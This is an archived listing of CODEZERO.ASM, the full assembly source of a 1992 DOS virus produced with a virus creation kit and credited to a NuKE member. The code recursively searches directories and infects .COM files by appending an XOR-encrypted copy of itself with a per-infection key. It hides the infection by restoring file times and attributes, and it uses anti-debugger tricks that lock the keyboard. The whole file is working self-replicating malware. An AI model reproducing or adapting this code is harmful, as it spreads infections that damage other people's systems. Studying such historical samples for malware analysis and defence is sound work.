home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / C.ZIP / CODEZERO.ASM < prev    next >
Assembly Source File  |  1992-07-05  |  11KB  |  381 lines

  1. ; CODEZERO.ASM -- Code Zero Virus
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by Nowhere Man
  4.  
  5. virus_type    equ    0            ; Appending Virus
  6. is_encrypted    equ    1            ; We're encrypted
  7. tsr_virus    equ    0            ; We're not TSR
  8.  
  9. code        segment byte public
  10.         assume    cs:code,ds:code,es:code,ss:code
  11.         org    0100h
  12.  
  13. main        proc    near
  14.         db    0E9h,00h,00h        ; Near jump (for compatibility)
  15. start:        call    find_offset        ; Like a PUSH IP
  16. find_offset:    pop    bp            ; BP holds old IP
  17.         sub    bp,offset find_offset    ; Adjust for length of host
  18.  
  19.         call    encrypt_decrypt        ; Decrypt the virus
  20.  
  21. start_of_code    label    near
  22.  
  23.         lea    si,[bp + buffer]    ; SI points to original start
  24.         mov    di,0100h        ; Push 0100h on to stack for
  25.         push    di            ; return to main program
  26.         movsw                ; Copy the first two bytes
  27.         movsb                ; Copy the third byte
  28.  
  29.         mov    di,bp            ; DI points to start of virus
  30.  
  31.         mov    bp,sp            ; BP points to stack
  32.         sub    sp,128            ; Allocate 128 bytes on stack
  33.  
  34.         mov    ah,02Fh            ; DOS get DTA function
  35.         int    021h
  36.         push    bx            ; Save old DTA address on stack
  37.  
  38.         mov    ah,01Ah            ; DOS set DTA function
  39.         lea    dx,[bp - 128]        ; DX points to buffer on stack
  40.         int    021h
  41.  
  42. stop_tracing:    mov    cx,09EBh
  43.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  44.         jmp    $-2
  45.         add    ah,03Bh            ; AH now equals 025h
  46.         jmp    $-10            ; Execute the HaLT
  47.         lea    bx,[di + null_vector]    ; BX points to new routine
  48.         push    cs            ; Transfer CS into ES
  49.         pop    es            ; using a PUSH/POP
  50.         int    021h
  51.         mov    al,1            ; Disable interrupt 1, too
  52.         int    021h
  53.         jmp    short skip_null        ; Hop over the loop
  54. null_vector:    jmp    $            ; An infinite loop
  55. skip_null:    mov    byte ptr [di + lock_keys + 1],130  ; Prefetch unchanged
  56. lock_keys:    mov    al,128            ; Change here screws DEBUG
  57.         out    021h,al            ; If tracing then lock keyboard
  58.  
  59.         call    search_files        ; Find and infect a file
  60.  
  61.         call    infected_all
  62.         or    ax,ax            ; Did the function return zero?
  63.         jne    skip00            ; If not equal, skip effect
  64.         jmp    short strt00        ; Success -- skip jump
  65. skip00:        jmp    end00            ; Skip the routine
  66. strt00:        lea    si,[di + data00]    ; SI points to data
  67.         mov    ah,0Eh            ; BIOS display char. function
  68. display_loop:   lodsb                ; Load the next char. into AL
  69.         or    al,al            ; Is the character a null?
  70.         je    disp_strnend        ; If it is, exit
  71.         int    010h            ; BIOS video interrupt
  72.         jmp    short display_loop    ; Do the next character
  73. disp_strnend:
  74.  
  75. end00:
  76. com_end:    pop    dx            ; DX holds original DTA address
  77.         mov    ah,01Ah            ; DOS set DTA function
  78.         int    021h
  79.  
  80.         mov    sp,bp            ; Deallocate local buffer
  81.  
  82.         xor    ax,ax            ;
  83.         mov    bx,ax            ;
  84.         mov    cx,ax            ;
  85.         mov    dx,ax            ; Empty out the registers
  86.         mov    si,ax            ;
  87.         mov    di,ax            ;
  88.         mov    bp,ax            ;
  89.  
  90.         ret                ; Return to original program
  91. main        endp
  92.  
  93.  
  94.         db    064h,06Dh,056h,0D5h,05Dh
  95.  
  96. search_files    proc    near
  97.         push    bp            ; Save BP
  98.         mov    bp,sp            ; BP points to local buffer
  99.         sub    sp,64            ; Allocate 64 bytes on stack
  100.  
  101.         mov    ah,047h            ; DOS get current dir function
  102.         xor    dl,dl            ; DL holds drive # (current)
  103.         lea    si,[bp - 64]        ; SI points to 64-byte buffer
  104.         int    021h
  105.  
  106.         mov    ah,03Bh            ; DOS change directory function
  107.         lea    dx,[di + root]        ; DX points to root directory
  108.         int    021h
  109.  
  110.         call    traverse        ; Start the traversal
  111.  
  112.         mov    ah,03Bh            ; DOS change directory function
  113.         lea    dx,[bp - 64]        ; DX points to old directory
  114.         int    021h
  115.  
  116.         mov    sp,bp            ; Restore old stack pointer
  117.         pop    bp            ; Restore BP
  118.         ret                ; Return to caller
  119.  
  120. root        db    "\",0            ; Root directory
  121. search_files    endp
  122.  
  123. traverse    proc    near
  124.         push    bp            ; Save BP
  125.  
  126.         mov    ah,02Fh            ; DOS get DTA function
  127.         int    021h
  128.         push    bx            ; Save old DTA address
  129.  
  130.         mov    bp,sp            ; BP points to local buffer
  131.         sub    sp,128            ; Allocate 128 bytes on stack
  132.  
  133.         mov    ah,01Ah            ; DOS set DTA function
  134.         lea    dx,[bp - 128]        ; DX points to buffer
  135.         int    021h
  136.  
  137.         mov    ah,04Eh            ; DOS find first function
  138.         mov    cx,00010000b        ; CX holds search attributes
  139.         lea    dx,[di + all_files]    ; DX points to "*.*"
  140.         int    021h
  141.         jc    leave_traverse        ; Leave if no files present
  142.  
  143. check_dir:    cmp    byte ptr [bp - 107],16    ; Is the file a directory?
  144.         jne    another_dir        ; If not, try again
  145.         cmp    byte ptr [bp - 98],'.'    ; Did we get a "." or ".."?
  146.         je    another_dir        ;If so, keep going
  147.  
  148.         mov    ah,03Bh            ; DOS change directory function
  149.         lea    dx,[bp - 98]        ; DX points to new directory
  150.         int    021h
  151.  
  152.         call    traverse        ; Recursively call ourself
  153.  
  154.         pushf                ; Save the flags
  155.         mov    ah,03Bh            ; DOS change directory function
  156.         lea    dx,[di + up_dir]    ; DX points to parent directory
  157.         int    021h
  158.         popf                ; Restore the flags
  159.  
  160.         jnc    done_searching        ; If we infected then exit
  161.  
  162. another_dir:    mov    ah,04Fh            ; DOS find next function
  163.         int    021h
  164.         jnc    check_dir        ; If found check the file
  165.  
  166. leave_traverse:
  167.         lea    dx,[di + com_mask]    ; DX points to "*.COM"
  168.         call    find_files        ; Try to infect a file
  169. done_searching:    mov    sp,bp            ; Restore old stack frame
  170.         mov    ah,01Ah            ; DOS set DTA function
  171.         pop    dx            ; Retrieve old DTA address
  172.         int    021h
  173.  
  174.         pop    bp            ; Restore BP
  175.         ret                ; Return to caller
  176.  
  177. up_dir        db    "..",0            ; Parent directory name
  178. all_files    db    "*.*",0            ; Directories to search for
  179. com_mask    db    "*.COM",0        ; Mask for all .COM files
  180. traverse    endp
  181.  
  182.         db    0D9h,013h,047h,056h,001h
  183.  
  184.  
  185. find_files    proc    near
  186.         push    bp            ; Save BP
  187.  
  188.         mov    ah,02Fh            ; DOS get DTA function
  189.         int    021h
  190.         push    bx            ; Save old DTA address
  191.  
  192.         mov    bp,sp            ; BP points to local buffer
  193.         sub    sp,128            ; Allocate 128 bytes on stack
  194.  
  195.         push    dx            ; Save file mask
  196.         mov    ah,01Ah            ; DOS set DTA function
  197.         lea    dx,[bp - 128]        ; DX points to buffer
  198.         int    021h
  199.  
  200.         mov    ah,04Eh            ; DOS find first file function
  201.         mov    cx,00100111b        ; CX holds all file attributes
  202.         pop    dx            ; Restore file mask
  203. find_a_file:    int    021h
  204.         jc    done_finding        ; Exit if no files found
  205.         call    infect_file        ; Infect the file!
  206.         jnc    done_finding        ; Exit if no error
  207.         mov    ah,04Fh            ; DOS find next file function
  208.         jmp    short find_a_file    ; Try finding another file
  209.  
  210. done_finding:    mov    sp,bp            ; Restore old stack frame
  211.         mov    ah,01Ah            ; DOS set DTA function
  212.         pop    dx            ; Retrieve old DTA address
  213.         int    021h
  214.  
  215.         pop    bp            ; Restore BP
  216.         ret                ; Return to caller
  217. find_files    endp
  218.  
  219.         db    005h,083h,072h,0C1h,006h
  220.  
  221. infect_file    proc    near
  222.         mov    ah,02Fh            ; DOS get DTA address function
  223.         int    021h
  224.         mov    si,bx            ; SI points to the DTA
  225.  
  226.         mov    byte ptr [di + set_carry],0  ; Assume we'll fail
  227.  
  228.         cmp    word ptr [si + 01Ah],(65279 - (finish - start))
  229.         jbe    size_ok            ; If it's small enough continue
  230.         jmp    infection_done        ; Otherwise exit
  231.  
  232. size_ok:    mov    ax,03D00h        ; DOS open file function, r/o
  233.         lea    dx,[si + 01Eh]        ; DX points to file name
  234.         int    021h
  235.         xchg    bx,ax            ; BX holds file handle
  236.  
  237.         mov    ah,03Fh            ; DOS read from file function
  238.         mov    cx,3            ; CX holds bytes to read (3)
  239.         lea    dx,[di + buffer]    ; DX points to buffer
  240.         int    021h
  241.  
  242.         mov    ax,04202h        ; DOS file seek function, EOF
  243.         cwd                ; Zero DX _ Zero bytes from end
  244.         mov    cx,dx            ; Zero CX /
  245.         int    021h
  246.  
  247.         xchg    dx,ax            ; Faster than a PUSH AX
  248.         mov    ah,03Eh            ; DOS close file function
  249.         int    021h
  250.         xchg    dx,ax            ; Faster than a POP AX
  251.  
  252.         sub    ax,finish - start + 3    ; Adjust AX for a valid jump
  253.         cmp    word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  254.         je    infection_done        ; If equal then exit
  255.         mov    byte ptr [di + set_carry],1  ; Success -- the file is OK
  256.         add    ax,finish - start    ; Re-adjust to make the jump
  257.         mov    word ptr [di + new_jump + 1],ax  ; Construct jump
  258.  
  259.         mov    ax,04301h        ; DOS set file attrib. function
  260.         xor    cx,cx            ; Clear all attributes
  261.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  262.         int    021h
  263.  
  264.         mov    ax,03D02h        ; DOS open file function, r/w
  265.         int    021h
  266.         xchg    bx,ax            ; BX holds file handle
  267.  
  268.         mov    ah,040h            ; DOS write to file function
  269.         mov    cx,3            ; CX holds bytes to write (3)
  270.         lea    dx,[di + new_jump]    ; DX points to the jump we made
  271.         int    021h
  272.  
  273.         mov    ax,04202h        ; DOS file seek function, EOF
  274.         cwd                ; Zero DX _ Zero bytes from end
  275.         mov    cx,dx            ; Zero CX /
  276.         int    021h
  277.  
  278.         push    si            ; Save SI through call
  279.         call    encrypt_code        ; Write an encrypted copy
  280.         pop    si            ; Restore SI
  281.  
  282.         mov    ax,05701h        ; DOS set file time function
  283.         mov    cx,[si + 016h]        ; CX holds old file time
  284.         mov    dx,[si + 018h]        ; DX holds old file date
  285.         int    021h
  286.  
  287.         mov    ah,03Eh            ; DOS close file function
  288.         int    021h
  289.  
  290.         mov    ax,04301h        ; DOS set file attrib. function
  291.         xor    ch,ch            ; Clear CH for file attribute
  292.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  293.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  294.         int    021h
  295.  
  296. infection_done:    cmp    byte ptr [di + set_carry],1  ; Set carry flag if failed
  297.         ret                ; Return to caller
  298.  
  299. set_carry    db    ?            ; Set-carry-on-exit flag
  300. buffer        db    090h,0CDh,020h        ; Buffer to hold old three bytes
  301. new_jump    db    0E9h,?,?        ; New jump to virus
  302. infect_file    endp
  303.  
  304.  
  305.         db    06Ah,025h,0C8h,0A7h,094h
  306.  
  307. infected_all    proc    near
  308. if virus_type    eq    0
  309.         mov    al,byte ptr [di + set_carry]
  310. else
  311.         mov    al,byte ptr [set_carry]    ; AX holds success value
  312. endif
  313.         cbw                ; Sign-extend AL into AX
  314.         ret                ; Return to caller
  315. infected_all    endp
  316.  
  317. data00        db      7,7,7,"** CODE ZERO **",13,10,0
  318.  
  319. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  320.  
  321.  
  322. note        db    "[Code Zero]",0
  323.         db    "Nowhere Man, [NuKE] '92",0
  324.  
  325. encrypt_code    proc    near
  326.         push    bp            ; Save BP
  327.         mov    bp,di            ; Use BP as pointer to code
  328.         lea    si,[bp + encrypt_decrypt]; SI points to cipher routine
  329.  
  330.         xor    ah,ah            ; BIOS get time function
  331.         int    01Ah
  332.         mov    word ptr [si + 9],dx    ; Low word of timer is new key
  333.  
  334.         xor    byte ptr [si + 1],8    ;
  335.         xor    byte ptr [si + 8],1    ; Change all SIs to DIs
  336.         xor    word ptr [si + 11],0101h; (and vice-versa)
  337.  
  338.         lea    di,[bp + finish]    ; Copy routine into heap
  339.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  340.         push    si            ; Save SI for later
  341.         push    cx            ; Save CX for later
  342.     rep    movsb                ; Copy the bytes
  343.  
  344.         lea    si,[bp + write_stuff]    ; SI points to write stuff
  345.         mov    cx,5            ; CX holds length of write
  346.     rep    movsb                ; Copy the bytes
  347.  
  348.         pop    cx            ; Restore CX
  349.         pop    si            ; Restore SI
  350.         inc    cx            ; Copy the RET also this time
  351.     rep    movsb                ; Copy the routine again
  352.  
  353.         mov    ah,040h            ; DOS write to file function
  354.         lea    dx,[bp + start]        ; DX points to virus
  355.  
  356.         lea    si,[bp + finish]    ; SI points to routine
  357.         call    si            ; Encrypt/write/decrypt
  358.  
  359.         mov    di,bp            ; DI points to virus again
  360.         pop    bp            ; Restore BP
  361.         ret                ; Return to caller
  362.  
  363. write_stuff:    mov    cx,finish - start    ; Length of code
  364.         int    021h
  365. encrypt_code    endp
  366.  
  367. end_of_code    label    near
  368.  
  369. encrypt_decrypt    proc    near
  370.         lea    si,[bp + start_of_code] ; SI points to code to decrypt
  371.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  372. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  373.         inc    si            ; Do the next word
  374.         inc    si            ;
  375.         loop    xor_loop        ; Loop until we're through
  376.         ret                ; Return to caller
  377. encrypt_decrypt    endp
  378. finish        label    near
  379.  
  380. code        ends
  381.         end    main